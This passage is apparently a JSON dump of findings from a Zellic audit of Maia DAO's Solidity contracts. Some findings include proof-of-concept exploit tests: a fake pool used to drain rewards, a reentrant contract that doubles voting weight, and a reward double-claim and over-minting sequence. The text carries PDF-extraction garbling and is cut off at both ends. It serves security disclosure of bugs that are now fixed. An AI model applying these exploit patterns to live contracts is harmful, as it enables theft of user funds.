assertEq(flywheel.rewardsAccrued(user1), 132275132275132275131); assertEq(flywheel.rewardsAccrued(user2), 0); assertEq(flywheel.rewardsAccrued(user3), 0); uint bal = talosBaseStrategy.balanceOf(user1); hevm.prank(user1); talosBaseStrategy.transfer(user2, bal); flywheel.accrue(talosBaseStrategy, user2); Zellic Maia DAO assertEq(flywheel.rewardsAccrued(user1), 132275132275132275131); assertEq(flywheel.rewardsAccrued(user2), 132275132275133597876); assertEq(flywheel.rewardsAccrued(user3), 0); hevm.prank(user2); talosBaseStrategy.transfer(user3, bal); flywheel.accrue(talosBaseStrategy, user3); assertEq(flywheel.rewardsAccrued(user1), 132275132275132275131); assertEq(flywheel.rewardsAccrued(user2), 132275132275133597876); assertEq(flywheel.rewardsAccrued(user3), 132275132275133597876); } An attacker can accrue rewards for a TalosStrategyStaked strategy and then transfer their strategy tokens and claim the rewards a second time. This can continue allowing the attacker to drain all unclaimed rewards. The TalosStrategyStaked should ensure that flywheel.accrue is called whenever to- kens are transferred, burned, or minted. This issue was fixed by Maia DAO in commits 5b73dd5, 5a996f3, and 227e33d Zellic Maia DAO", + "html_url": "https://github.com/Zellic/publications/blob/master/Maia DAO February 2023 - Zellic Audit Report.pdf" + }, + { + "title": "3.3 Lack of validation when creating a Talos staked strategy", + "labels": [ + "Zellic" + ], + "body": "Target: TalosStrategyStakedFactory Category: Coding Mistakes Likelihood: High Severity: Critical : Critical When creating a new TalosStrategyStaked via the TalosStrategyStakedFactory, the c reateTalosBaseStrategy is called, which in turn calls createTalosV3Strategy and then DeployStaked.createTalosV3Strategy. The strategy is then added to the flywheel: function createTalosBaseStrategy( IUniswapV3Pool pool, ITalosOptimizer optimizer, address strategyManager, bytes memory data ) external { if (optimizerFactory.optimizerIds(TalosOptimizer(address(optimizer))) =) 0) revert UnrecognizedOptimizer(); TalosBaseStrategy strategy = createTalosV3Strategy(pool, optimizer, strategyManager, data); strategyIds[strategy] = strategies.length; strategies.push(strategy); } function createTalosV3Strategy( IUniswapV3Pool pool, ITalosOptimizer optimizer, address strategyManager, bytes memory data ) internal override returns (TalosBaseStrategy strategy) { BoostAggregator boostAggregator = abi.decode(data, (BoostAggregator)); strategy = DeployStaked.createTalosV3Strategy( pool, optimizer, boostAggregator, strategyManager, Zellic Maia DAO flywheel, owner() ); flywheel.addStrategyForRewards(strategy); } library DeployStaked { function createTalosV3Strategy( IUniswapV3Pool pool, ITalosOptimizer optimizer, BoostAggregator boostAggregator, address strategyManager, FlywheelCoreInstant flywheel, address owner ) public returns (TalosBaseStrategy) { return new TalosStrategyStaked( pool, optimizer, boostAggregator, strategyManager, flywheel, owner ); } } The only validation on any of the parameters is that the optimizer was created by the optimizer factory. The pool and strategyManager come directly from the function arguments, and the boostAggregator comes from decoding the user-supplied data. This boost aggregator then provides the strategy nonfungiblePositionManager via _bo ostAggregator.nonfungiblePositionManager(), so it is also controllable. This means that it is very easy to manipulate the balance of the strategy as we can make strategy.deposit always succeed. Using a fake pool, it is possible to do the following: 1. Set up the fake pool that will always mint as many tokens as requested when calling deposit. 2. With user 1, deposit and generate a single-strategy token. Zellic Maia DAO 3. Set up the fake pool to generate a single reward on the next deposit. 4. With user 2, deposit and generate a large number of tokens (this will be the amount of reward tokens stolen). 5. Transfer these tokens back to user 1. 6. Since the balance of user 1 is now high but the user\u2019s reward index is still ONE, they are able to claim as many rewards as they have strategy tokens: uint256 deltaIndex = index - supplierIndex; /) use the booster or token balance to calculate reward balance multiplier uint256 supplierTokens = address(flywheelBooster) !) address(0) ? flywheelBooster.boostedBalanceOf(strategy, user) : strategy.balanceOf(user); /) accumulate rewards by multiplying user tokens by rewardsPerToken index and adding on unclaimed uint256 supplierDelta = (supplierTokens * deltaIndex) / ONE; uint256 supplierAccrued = rewardsAccrued[user] + supplierDelta; rewardsAccrued[user] = supplierAccrued; To confirm this finding, we wrote the following test case: contract FakePool { struct Slot0 { uint160 sqrtPriceX96; int24 tick; uint16 observationIndex; uint16 observationCardinality; uint16 observationCardinalityNext; uint8 feeProtocol; bool unlocked; } struct IncreaseLiquidityParams { uint256 tokenId; uint256 amount0Desired; uint256 amount1Desired; uint256 amount0Min; Zellic Maia DAO uint256 amount1Min; uint256 deadline; } struct CollectParams { uint256 tokenId; address recipient; uint128 amount0Max; uint128 amount1Max; } address public nonfungiblePositionManager = address(this); address public token0 = address(this); address public token1 = address(this); int24 public tickSpacing = 3; uint24 public fee = 3000; Slot0 public slot0; constructor() { slot0.tick = 1000; } function observe(uint32[] calldata) public returns (int56[] memory, uint160[] memory) { int56[] memory tickCumulatives = new int56[](2); uint160[] memory o = new uint160[](2); tickCumulatives[0] = 1000; tickCumulatives[1] = 100000; return (tickCumulatives, o); } function increaseLiquidity(IncreaseLiquidityParams calldata params) public returns ( uint128, uint256, uint256 ) { return (uint128(params.amount0Desired), params.amount0Desired, params.amount0Desired); Zellic Maia DAO } function setOwnRewardsDepot(address) public {} function transferFrom( address, address, uint256 ) public {} function approve(address, uint256) public {} function collect(CollectParams calldata) public returns (uint256, uint256) { return (0, 0); } function depositAndStake(uint256) public {} function transfer(address, uint256) public {} function unstakeAndWithdraw(uint256) public {} fallback() external { revert(); } } function testTalosFactory() external { uint256 INITIAL_REWARDS = 1e18; TalosStrategyStakedFactory talosStrategyStakedFactory; TalosOptimizer talosOptimizer; (pool, poolContract) = UniswapV3Assistant.createPool( uniswapV3Factory, address(token0), address(token1), poolFee ); { OptimizerFactory optimizerFactory = new OptimizerFactory(); Zellic Maia DAO BoostAggregatorFactory boostAggregatorFactory = new BoostAggregatorFactory( uniswapV3StakerContract ); talosStrategyStakedFactory = new TalosStrategyStakedFactory( nonfungiblePositionManager, optimizerFactory, boostAggregatorFactory ); optimizerFactory.createTalosOptimizer( 100, 40, 16, 2000, type(uint256).max, address(this) ); optimizerFactory.createTalosOptimizer( 100, 40, 16, 2000, type(uint256).max, address(this) ); TalosOptimizer[] memory optimizers = optimizerFactory.getOptimizers(); talosOptimizer = optimizers[optimizers.length - 1]; boostAggregatorFactory.createBoostAggregator(address(this)); BoostAggregator[] memory boostAggregators = boostAggregatorFactory .getBoostAggregators(); BoostAggregator boostAggregator = boostAggregators[boostAggregators.length - 1]; talosStrategyStakedFactory.createTalosBaseStrategy( pool, talosOptimizer, address(this), abi.encode(boostAggregator) ); } Zellic Maia DAO FlywheelCoreInstant flywheel = talosStrategyStakedFactory.flywheel(); FlywheelInstantRewards rewards = talosStrategyStakedFactory.rewards(); TalosBaseStrategy[] memory strategies = talosStrategyStakedFactory.getStrategies(); TalosBaseStrategy realStrategy = strategies[strategies.length - 1]; /) realStrategy has some rewards, not yet distributed to everyone rewardToken.mint(address(rewards.rewardsDepot()), INITIAL_REWARDS); flywheel.accrue(realStrategy, address(0x1234)); address attacker1 = address(0x666); address attacker2 = address(0x777); /)attacker starts 1 reward token rewardToken.mint(address(attacker1), 1); hevm.startPrank(attacker1); FakePool fakePool = new FakePool(); talosStrategyStakedFactory.createTalosBaseStrategy( IUniswapV3Pool(address(fakePool)), talosOptimizer, address(fakePool), abi.encode(address(fakePool)) ); strategies = talosStrategyStakedFactory.getStrategies(); TalosBaseStrategy strategy = strategies[strategies.length - 1]; assertEq(rewardToken.balanceOf(attacker1), 1); strategy.deposit(1, 1, attacker1); rewardToken.transfer(address(rewards.rewardsDepot()), 1); strategy.deposit(rewardToken.balanceOf(address(rewards)), 1, attacker2); hevm.stopPrank(); hevm.startPrank(attacker2); strategy.transfer(attacker1, strategy.balanceOf(attacker2)); hevm.stopPrank(); Zellic Maia DAO hevm.startPrank(attacker1); flywheel.accrue(strategy, attacker1); flywheel.claimRewards(attacker1); assertEq(rewardToken.balanceOf(attacker1), INITIAL_REWARDS + 1); } A user is able to use a fake pool to create a malicious strategy and use it to drain any unclaimed rewards. The nonfungiblePositionManager used by the TalosStrategyStaked should be vali- dated to be the same as the TalosBaseStrategyFactory. The supplied pool could also be validated to ensure that it is initialized and known to the nonfungiblePositionMana ger. This issue was fixed by Maia DAO in commit 9b87839. Zellic Maia DAO", + "html_url": "https://github.com/Zellic/publications/blob/master/Maia DAO February 2023 - Zellic Audit Report.pdf" + }, + { + "title": "3.4 Reentrancy when incrementing and decrementing gauges", + "labels": [ + "Zellic" + ], + "body": "Target: ERC20Gauges Category: Coding Mistakes Likelihood: High Severity: Critical : High The incrementGauges method takes a list of gauges and a list of weights, iterates through them to increase each supplied gauge with the corresponding weight, and then up- dates the global weights for the user. function incrementGauges(address[] calldata gaugeList, uint112[] calldata weights) external returns (uint256 newUserWeight) { uint256 size = gaugeList.length; if (weights.length !) size) revert SizeMismatchError(); /) store total in summary for a batch update on user/global state uint112 weightsSum; uint32 currentCycle = _getGaugeCycleEnd(); /) Update a gauge's specific state for (uint256 i = 0; i < size; ) { address gauge = gaugeList[i]; uint112 weight = weights[i]; weightsSum += weight; _incrementGaugeWeight(msg.sender, gauge, weight, currentCycle); unchecked { i+); } } return _incrementUserAndGlobalWeights(msg.sender, weightsSum, currentCycle); } When _incrementGaugeWeight is called, it triggers a call to accrueBribes on the sup- plied gauge before adding the weight to the getUserGaugeWeight. Zellic Maia DAO function _incrementGaugeWeight(address user, address gauge, uint112 weight, uint32 cycle) internal { if (_deprecatedGauges.contains(gauge)) revert InvalidGaugeError(); unchecked { if (cycle - block.timestamp <) incrementFreezeWindow) revert IncrementFreezeError(); } IBaseV2Gauge(gauge).accrueBribes(user); bool added = _userGauges[user].add(gauge); /) idempotent add if (added &) _userGauges[user].length() > maxGauges &) !canContractExceedMaxGauges[user]) revert MaxGaugeError(); getUserGaugeWeight[user][gauge] += weight; _writeGaugeWeight(_getGaugeWeight[gauge], _add112, weight, cycle); emit IncrementGaugeWeight(user, gauge, weight, cycle); } Then finally the total weight is checked and the global weights are updated. function _incrementUserAndGlobalWeights(address user, uint112 weight, uint32 cycle) internal returns (uint112 newUserWeight) { newUserWeight = getUserWeight[user] + weight; /) new user weight must be less than or equal to the total user weight if (newUserWeight > getVotes(user)) revert OverWeightError(); /) Update gauge state getUserWeight[user] = newUserWeight; _writeGaugeWeight(_totalWeight, _add112, weight, cycle); } Since there are no checks on whether the gauges have been added to the approved _ Zellic Maia DAO gauges list, there is no nonReentrant on any of the increment/decrement methods and the weight is not checked until the end. It is possible for a user to double their weight during a transaction with the following steps: 1. Increment the target gauge to the user\u2019s max weight. 2. Call incrementGauges with two entries: the first incrementing the target gauge by the user\u2019s max weight again, the second incrementing a malicious contract with weight 0. 3. When accrueBribes is called on the malicious contact, the weight of the target gauge is now double the user\u2019s max weight. 4. After performing any actions using the doubled weight, the malicious contract calls decrementGauge on the target gauge to reduce it to the original before re- turning. This will cause getUserWeight[user] to be set to 0 and return the gauge to its correct value. 5. The global weights for the original incrementGauges are now updated, which sets the getUserWeight[user] back to their max. To confirm this finding, we wrote the following test case: contract DoubleWeights { address gauge1; MockERC20Gauges gaugeWeight; function accrueBribes(address user) public { require( gaugeWeight.getUserGaugeWeight(address(this), address(gauge1)) =) 200, \u201cshould be 200\u201d ); require(gaugeWeight.getVotes(address(this)) =) 100, \u201cshould be 100\u201d); gaugeWeight.decrementGauge(address(gauge1), 100); } function double(address _gauge1, MockERC20Gauges _gaugeWeight) external { gauge1 = _gauge1; gaugeWeight = _gaugeWeight; Zellic Maia DAO gaugeWeight.incrementDelegation(address(this), 100); gaugeWeight.incrementGauge(gauge1, 100); require(gaugeWeight.getUserGaugeWeight(address(this), gauge1) =) 100, \u201cshould be 100\u201d); require(gaugeWeight.getVotes(address(this)) =) 100, \u201cshould be 100\u201d); address[] memory addresses = new address[](2); addresses[0] = gauge1; addresses[1] = address(this); uint112[] memory weights = new uint112[](2); weights[0] = 100; weights[1] = 0; gaugeWeight.incrementGauges(addresses, weights); } } function testGaugeReentrancy() external { hevm.prank(address(0x666)); DoubleWeights doubleWeights = new DoubleWeights(); token.mint(address(doubleWeights), 100); hevm.prank(address(0x666)); doubleWeights.double(address(gauge1), token); } A user is able to increment a gauge to be twice the amount of votes they control for a transaction. The nonReentrant modifier should be added to all of the increment/decrement meth- ods, and the gauges should be checked to ensure they are in the allowed list. Zellic Maia DAO This issue was fixed by Maia DAO in commit 9b87839. Zellic Maia DAO", + "html_url": "https://github.com/Zellic/publications/blob/master/Maia DAO February 2023 - Zellic Audit Report.pdf" + }, + { + "title": "3.5 Incorrect calculation of maximum-allowed mint", + "labels": [ + "Zellic" + ], + "body": "Target: ERC4626PartnerManager Category: Coding Mistakes Likelihood: Medium Severity: High : High The ERC4626PartnerManager contract allows partner tokens to be staked in order to receive utility tokens at a rate defined by bHermesRate. ///)) @notice Returns the maximum amount of assets that can be deposited by a user. ///)) @dev Returns the remaining balance of the bHermes divided by the bHermesRate. function maxDeposit(address) public view virtual override returns (uint256) { return (address(bHermesToken).balanceOf(address(this)) - totalSupply) / bHermesRate; } ///)) @notice Returns the maximum amount of assets that can be deposited by a user. ///)) @dev Returns the remaining balance of the bHermes divided by the bHermesRate. function maxMint(address) public view virtual override returns (uint256) { return (address(bHermesToken).balanceOf(address(this)) - totalSupply) / bHermesRate; } function _mint(address to, uint256 amount) internal virtual override { if (amount > maxMint(to)) revert ExceedsMaxDeposit(); bHermesToken.claimOutstanding(); ERC20MultiVotes(partnerGovernance).mint(address(this), amount * bHermesRate); super._mint(to, amount); } The issue is that the maxMint is incorrect when bHermesRate is greater than one because totalSupply should not be divided by bHermesRate. Only the bHermesToken balance Zellic Maia DAO should be, since this was increased by bHermesRate when minting. This allows for more partner bHermes tokens to be minted than there are backing bHermesTokens to support it. To confirm this finding, we wrote the following test case: function testDepositTakeover() public { assertEq(manager.bHermesRate(), 10); address user1 = address(0x111); address attacker = address(0x222); hermes.mint(address(this), 1000); hermes.approve(address(_bHermes), 1000); _bHermes.deposit(1000, address(this)); _bHermes.transfer(address(manager), 1000); partnerAsset.mint(address(user1), 51); hevm.prank(user1); partnerAsset.approve(address(manager), 51); partnerAsset.mint(address(attacker), 200); hevm.prank(attacker); partnerAsset.approve(address(manager), 200); assertEq(manager.maxMint(address(this)), 100); hevm.prank(user1); manager.deposit(51, user1); /) assertEq(manager.maxMint(user1), 49); hevm.prank(attacker); manager.deposit(94, attacker); hevm.prank(attacker); manager.deposit(6, attacker); hevm.prank(attacker); manager.claimOutstanding(); assertEq(manager.balanceOf(attacker), 100); assertEq(manager.partnerGovernance().balanceOf(attacker), 1000); Zellic Maia DAO } Allows a user to mint more partner bHermes tokens than there are underlying assets, preventing other users with staked partner tokens from being able to claim any utility tokens. Only the bHermesToken balance should be divided by the bHermesRate in both maxDepo sit and maxMint. This issue was fixed by Maia DAO in commit 5f00303. Zellic Maia DAO", + "html_url": "https://github.com/Zellic/publications/blob/master/Maia DAO February 2023 - Zellic Audit Report.pdf" + }, + { + "title": "3.6 Incorrect total gauge weight calculation", + "labels": [ + "Zellic" + ], + "body": "Target: ERC20Gauges Category: Coding Mistakes Likelihood: High Severity: High : High To help illustrate this issue, it is helpful to have some background on gauge, weight, and the functions that affect _totalWeight. Each gauge address is associated a weight. The weight represents how much of the weekly reward an active gauge will receive. The owner of the contract can manage the gauges and change their state from active to deprecated and vice versa. There are a few functions that are able to decrease the _totalWeight. The _removeGauge function allows the contract owner to add a gauge address to the _ deprecatedGauges array. This function also decreases the _totalWeight by the current weight of the gauge. There are also the decrementGauge and decrementGauges functions, which allow the user to decrease the _getGaugeWeight value for any gauge address (active and depre- cated) while at the same time decreasing the _totalWeight by the input weight value. Below are the steps to reproduce the issue. Preconditions: There are several active gauges. Users have assigned weight to these gauges. The _totalWeight is not zero. Steps: 1. The owner of the contract calls the removeGauge function for one of active gauges. 2. The gauge becomes deprecated; _totalWeight is decreased by the _getGaugeWe ight[gauge].currentWeight value. 3. The user calls the decrementGauge function for the same gauge with full assigned weight value. Zellic Maia DAO 4. The _totalWeight is repeatedly reduced by the getUserGaugeWeight[user][gaug e] value that was already taken into account in step 2, because the _getGaugeWe ight[gauge].currentWeight is the sum of all users\u2019 weight for the current gauge. 5. Anyone starts the queueRewardsForCycle() function of the FlywheelGaugeRewards contract when a new cycle occurs. 6. Inside this function, the nextRewards is calculated for all active gauges using the c alculateGaugeAllocation function, where the quantity value is the total number of rewards queued for the next cycle. But due to the underestimation of the tota l value, the calculateGaugeAllocation function will return an inflated proportion of a quantity for the gauge. function calculateGaugeAllocation(address gauge, uint256 quantity) external view returns (uint256) { if (_deprecatedGauges.contains(gauge)) return 0; uint32 currentCycle = _getGaugeCycleEnd(); uint112 total = _getStoredWeight(_totalWeight, currentCycle); uint112 weight = _getStoredWeight(_getGaugeWeight[gauge], currentCycle); return (quantity * weight) / total; } After the completion of the queueRewardsForCycle function, the total amount of the reward assigned between the gauge contracts will be greater than the actual amount distributed by minter. So, firstly, the rewards will be calculated incorrectly and, sec- ondly, all gauge contracts will not be able to distribute the reward because the r ewardToken balance of the FlywheelGaugeRewards contract is less than the total as- signed amount of weekly reward. It will also be impossible to successfully release full weights from gauges because the _totalWeight will not correspond with the ac- tual total weight. Reduce _totalWeight only for active gauges inside the decrementGauges function. Zellic Maia DAO This issue was fixed by Maia DAO in commit bc08905. Zellic Maia DAO", + "html_url": "https://github.com/Zellic/publications/blob/master/Maia DAO February 2023 - Zellic Audit Report.pdf" + }, + { + "title": "3.7 Protocol fee calculation is reversed", + "labels": [ + "Zellic" + ], + "body": "Target: BoostAggregator Category: Coding Mistakes Likelihood: High Severity: High : High The unstakeAndWithdraw function first unstakes the NFT and then calculates the pend- ing rewards and splits it between the user and the protocol based on the current pro tocolFee (the default being 20%). function unstakeAndWithdraw(uint256 tokenId) external { address user = tokenIdToUser[tokenId]; if (user !) msg.sender) revert NotTokenIdOwner(); uniswapV3Staker.unstakeToken(tokenId); uint256 pendingRewards = uniswapV3Staker.tokenIdRewards(tokenId) - tokenIdRewards[tokenId]; if (pendingRewards > DIVISIONER) { uint256 userRewards = (pendingRewards * protocolFee) / DIVISIONER; protocolRewards += pendingRewards - userRewards; address rewardsDepot = userToRewardsDepot[user]; if (rewardsDepot !) address(0)) { uniswapV3Staker.claimReward(rewardsDepot, userRewards); } else { uniswapV3Staker.claimReward(user, userRewards); } } uniswapV3Staker.withdrawToken(tokenId, user, \u201c\u201d); } The issue is that the calculation is backwards; the userRewards will end up being only 20% of the pending rewards and the protocol will take 80%. The protocol will receive a much higher percentage of the fees than intended. Zellic Maia DAO The new protocol rewards can be calculated with (pendingRewards * protocolFee) / DIVISIONER, and then the userRewards is the pendingRewards minus the protocol re- wards. This issue was fixed by Maia DAO in commit 084dfac. Zellic Maia DAO", + "html_url": "https://github.com/Zellic/publications/blob/master/Maia DAO February 2023 - Zellic Audit Report.pdf" + }, + { + "title": "3.8 Lack of verification when staking NFT", + "labels": [ + "Zellic" + ], + "body": "Target: UniswapV3Staker Category: Coding Mistakes Likelihood: High Severity: Medium : Low The stakeToken function takes a tokenId and can be used to stake or restake a token: function stakeToken(uint256 tokenId) external override { if (deposits[tokenId].stakedTimestamp !) 0) revert TokenStakedError(); (IUniswapV3Pool pool, int24 tickLower, int24 tickUpper, uint128 liquidity) = NFTPositionInfo.getPositionInfo(factory, nonfungiblePositionManager, tokenId); _stakeToken(tokenId, pool, tickLower, tickUpper, liquidity); } function _stakeToken(uint256 tokenId, IUniswapV3Pool pool, int24 tickLower, int24 tickUpper, uint128 liquidity) private { IncentiveKey memory key = IncentiveKey({ pool: pool, startTime: IncentiveTime.computeStart(block.timestamp) }); bytes32 incentiveId = IncentiveId.compute(key); if (incentives[incentiveId].totalRewardUnclaimed =) 0) revert NonExistentIncentiveError(); if (uint24(tickUpper - tickLower) < poolsMinimumWidth[pool]) revert RangeTooSmallError(); if (liquidity =) 0) revert NoLiquidityError(); stakedIncentiveKey[tokenId] = key; /) If user not attached to gauge, attach address tokenOwner = deposits[tokenId].owner; if (userAttachements[tokenOwner][pool] =) 0) { userAttachements[tokenOwner][pool] = tokenId; gauges[pool].attachUser(tokenOwner); Zellic Maia DAO } deposits[tokenId].stakedTimestamp = uint40(block.timestamp); incentives[incentiveId].numberOfStakes+); (, uint160 secondsPerLiquidityInsideX128, ) = pool.snapshotCumulativesInside( tickLower, tickUpper ); if (liquidity >) type(uint96).max) { _stakes[tokenId][incentiveId] = Stake({ secondsPerLiquidityInsideInitialX128: secondsPerLiquidityInsideX128, liquidityNoOverflow: type(uint96).max, liquidityIfOverflow: liquidity }); } else { Stake storage stake = _stakes[tokenId][incentiveId]; stake.secondsPerLiquidityInsideInitialX128 = secondsPerLiquidityInsideX128; stake.liquidityNoOverflow = uint96(liquidity); } emit TokenStaked(tokenId, incentiveId, liquidity); } The issue is that it does not check that the contract owns the token or that there is a corresponding Deposit for it. This means that the tokenOwner will end up being zero and still attached to the gauge, and the stakes will be updated even though the con- tract has no access to the token. Luckily it is not possible to unstakeToken the token because if there is a bribe depot, then nonfungiblePositionManager.collect is called and will fail, and if not, then key. pool.snapshotCumulativesInside will revert with TLU as both deposit.tickLower and deposit.tickUpper will be zero. /) from UniswapV3Staker.unstakeToken address bribeAddress = bribeDepots[key.pool]; Zellic Maia DAO if (bribeAddress !) address(0)) { (uint256 amount0, uint256 amount1) = nonfungiblePositionManager.collect( INonfungiblePositionManager.CollectParams({ tokenId: tokenId, recipient: bribeAddress, amount0Max: type(uint128).max, amount1Max: type(uint128).max }) ); emit feesCollected(bribeAddress, amount0, amount1); } ...)) (, uint160 secondsPerLiquidityInsideX128, ) = key.pool.snapshotCumulativesInside( deposit.tickLower, deposit.tickUpper ); A user can stake a token that is not owned by the contract, causing an invalid entry in the stakes and address zero to be attached to a gauge. The stakeToken method should ensure that there is a valid deposit for the token and that the contract is the current owner. This issue was fixed by Maia DAO in commit 5352be4. Maia DAO states: Followed recommendations only to verify that deposit.owner is not 0 address. Positions deposited in UniswapV3Staker are supposed to be allowed to be staked by anyone. The goal is to allow an automated system to re-stake any position if desired. Zellic Maia DAO", + "html_url": "https://github.com/Zellic/publications/blob/master/Maia DAO February 2023 - Zellic Audit Report.pdf" + }, + { + "title": "3.9 Lack of slippage protection", + "labels": [ + "Zellic" + ], + "body": "Target: TalosBaseStrategy Category: Business Logic Likelihood: Medium Severity: Medium : Medium There is no slippage protection on any of the calls to increase or decrease liquid- ity, allowing for trades to be subject to MEV-style attacks such as front-running and sandwiching. When redeem is called, there is a call to decrease liquidity: (amount0, amount1) = _nonfungiblePositionManager.decreaseLiquidity( INonfungiblePositionManager.DecreaseLiquidityParams({ tokenId: tokenId, liquidity: liquidityToDecrease, amount0Min: 0, amount1Min: 0, deadline: block.timestamp }) ); Since amount0Min and amount1Min are both hardcoded to zero, it does not account for slippage. The values for amount0Min and amount1Min are also hardcoded to zero in the following functions: TalosStrategyVanilla._compoundFees - nonfungiblePositionManager.increaseL iquidity TalosBaseStrategy.init - nonfungiblePositionManager.mint TalosBaseStrategy.deposit - nonfungiblePositionManager.increaseLiquidity TalosBaseStrategy.redeem - nonfungiblePositionManager.decreaseLiquidity TalosBaseStrategy._withdrawAll - nonfungiblePositionManager.decreaseLiquid ity As stated in the Uniswap V3 docs for minting, increasing, and decreasing, \u201cIn produc- tion, amount0Min and amount1Min should be adjusted to create slippage protections.\u201d Zellic Maia DAO We recommend adding user parameters in that allow for the customization of the level of slippage tolerance so that amount0Min and amount1Min can be adjusted ac- cordingly. This issue was fixed by Maia DAO in commit ddcca86. Zellic Maia DAO", + "html_url": "https://github.com/Zellic/publications/blob/master/Maia DAO February 2023 - Zellic Audit Report.pdf" + }, + { + "title": "3.10 Potential loss of weekly emissions", + "labels": [ + "Zellic" + ], + "body": "Target: BaseV2Minter Category: Coding Mistakes Likelihood: Low Severity: Medium : Medium When there is a new period, the weekly emissions and growth are calculated and the new tokens are minted. The storage variable weekly then stores the amount of tokens that are able to be claimed with getRewards. function updatePeriod() public returns (uint256) { uint256 _period = activePeriod; if (block.timestamp >) _period + week &) initializer =) address(0)) { _period = (block.timestamp / week) * week; activePeriod = _period; weekly = weeklyEmission(); uint256 _circulatingSupply = circulatingSupply(); uint256 _growth = calculateGrowth(weekly); uint256 _required = _growth + weekly; uint256 share = (_required * daoShare) / base; _required += share; uint256 _balanceOf = underlying.balanceOf(address(this)); if (_balanceOf < _required) { HERMES(underlying).mint(address(this), _required - _balanceOf); } underlying.safeTransfer(address(vault), _growth); if (dao !) address(0)) underlying.safeTransfer(dao, share); emit Mint(msg.sender, weekly, _circulatingSupply, _growth, share); try flywheelGaugeRewards.queueRewardsForCycle() {} catch {} } return _period; Zellic Maia DAO } function getRewards() external returns (uint256 totalQueuedForCycle) { if (address(flywheelGaugeRewards) !) msg.sender) revert NotFlywheelGaugeRewards(); totalQueuedForCycle = weekly; weekly = 0; underlying.safeTransfer(msg.sender, totalQueuedForCycle); } The issue is that there is no guarantee that getRewards will be called by the flywheel gauge rewards contract before a new period has started and updatePeriod is triggered again. This will overwrite the existing weekly variable, and those emissions can no longer be claimed by the contract. The flywheel gauge rewards contract could be unable to claim the correct amount of emissions if getRewards is not called within the period. Instead of assigning the new emissions to weekly, they could be added to it instead, allowing them to be collected even if multiple periods have occurred. This issue was fixed by Maia DAO in commit 70c96f0. Zellic Maia DAO 3.11 Lack of updating the getUserBoost Target: BoostAggregator Category: Coding Mistakes Likelihood: Medium Severity: Medium : Medium In the withdrawGaugeBoost function, the decrementAllGaugesBoost function is called before a transfer is made in order to release the required amount of tokens. This is necessary because if the freeGaugeBoost value is less than amount, then the address(h ermesGaugeBoost).safeTransfer(to, amount) call will not be successful. However, it is worth noting that the decrementAllGaugesBoost function only decreases the getUse rGaugeBoost[msg.sender][gauge] value and does not modify the getUserBoost[user] value. function withdrawGaugeBoost(address to, uint256 amount) external onlyOwner { hermesGaugeBoost.decrementAllGaugesBoost(amount); address(hermesGaugeBoost).safeTransfer(to, amount); } function decrementAllGaugesBoost(uint256 boost) external { decrementGaugesBoostIndexed(boost, 0, _userGauges[msg.sender].length()); } function decrementGaugesBoostIndexed( uint256 boost, uint256 offset, uint256 num ) public { address[] memory gaugeList = _userGauges[msg.sender].values(); uint256 length = gaugeList.length; for (uint256 i = 0; i < num &) i < length; ) { address gauge = gaugeList[offset + i]; GaugeState storage gaugeState = getUserGaugeBoost[msg.sender][gauge]; Zellic Maia DAO if (_deprecatedGauges.contains(gauge) |) boost >) gaugeState.userGaugeBoost) { require(_userGauges[msg.sender].remove(gauge)); /) Remove from set. Should never fail. delete getUserGaugeBoost[msg.sender][gauge]; } else { gaugeState.userGaugeBoost -= boost.toUint128(); } unchecked { i+); } } } The withdrawGaugeBoost will be reverted if the current freeGaugeBoost number is less than the amount value despite the decrementAllGaugesBoost function call. function transfer(address to, uint256 amount) public override notAttached(msg.sender, amount) returns (bool) { ...)) } modifier notAttached(address user, uint256 amount) { if (freeGaugeBoost(user) < amount) revert AttachedBoost(); _; } function freeGaugeBoost(address user) public view returns (uint256) { return balanceOf[user] - getUserBoost[user]; } Zellic Maia DAO The function updateUserBoost should be called before the safeTransfer call. This issue was fixed by Maia DAO in commit ab968de. Zellic Maia DAO", + "html_url": "https://github.com/Zellic/publications/blob/master/Maia DAO February 2023 - Zellic Audit Report.pdf" + }, + { + "title": "3.12 Erroneous full value reset of _delegatesVotesCount", + "labels": [ + "Zellic" + ], + "body": "Target: ERC20Gauges Category: Coding Mistakes Likelihood: Medium Severity: Low : Low The _decrementVotesUntilFree function allows to release the required number of votes for transferring or burning. The amount of released votes is the minimum between the amount of votes assigned by the user to delegatee and number of unused votes of this delegatee. If this value is nonzero, the delegatee will be removed from the _delegate s[user] array and the _delegatesVotesCount[user][delegatee] will be reset to zero. function _decrementVotesUntilFree(address user, uint256 votes) internal { ...)) for (uint256 i = 0; i < size &) (userFreeVotes + totalFreed) < votes; i+)) { ...)) uint256 delegateVotes = _delegatesVotesCount[user][delegatee]; delegateVotes = FixedPointMathLib.min(delegateVotes, userUnusedVotes(delegatee)); if (delegateVotes !) 0) { totalFreed += delegateVotes; require(_delegates[user].remove(delegatee)); _delegatesVotesCount[user][delegatee] = 0; _writeCheckpoint(delegatee, _subtract, delegateVotes); emit Undelegation(user, delegatee, delegateVotes); } } ...)) } The userUnusedVotes(delegatee) function in this contract always returns a value that is equal to or greater than the _delegatesVotesCount[user][delegatee] variable. How- Zellic Maia DAO ever, the ERC20Gauges contract inherits from the ERC20MultiVotes contract and rewrites the userUnusedVotes function. As a result, during the execution of the transfer, transf erFrom, or burn functions, the userUnusedVotes function will return the current amount of unused votes minus the assigned amount of votes as weight, as shown below: function userUnusedVotes(address user) public view override returns (uint256) { return super.userUnusedVotes(user) - getUserWeight[user]; } This means that it is possible for the delegateVotes value to be less than the _delega tesVotesCount[user][delegatee] value, which could cause the values to be reset by mistake. We recommend decreasing the _delegatesVotesCount[user][delegatee] by delegat eVotes value and removing delegatee from the _delegates[user] only if the _delegat esVotesCount[user][delegatee] is equal to the delegateVotes value. This issue was fixed by Maia DAO in commit e7065d7. Zellic Maia DAO", + "html_url": "https://github.com/Zellic/publications/blob/master/Maia DAO February 2023 - Zellic Audit Report.pdf" + }, + { + "title": "3.13 Lack of deleting a gauge from the getUserGaugeBoost", + "labels": [ + "Zellic" + ], + "body": "Target: ERC20Boost Category: Coding Mistakes Likelihood: Medium Severity: Low : Low The decrementGaugeBoost function allows the caller to remove an amount of boost from a gauge. A gauge is a contract that handles the distribution of rewards to users, attaching/detaching boost and accruing bribes for a strategy. The boost value allows users to increase their rewards. The user controls the gauge address and the boost amount but can only decrease the boost value connected with their address. If the current value of getUserGaugeBoost[msg.sender][gauge] is less than or equal to the value of boost, then the value will be deleted. The issue is that the gauge address should be removed from the _userGauges[msg.sen der] array as well. function decrementGaugeBoost(address gauge, uint256 boost) public { GaugeState storage gaugeState = 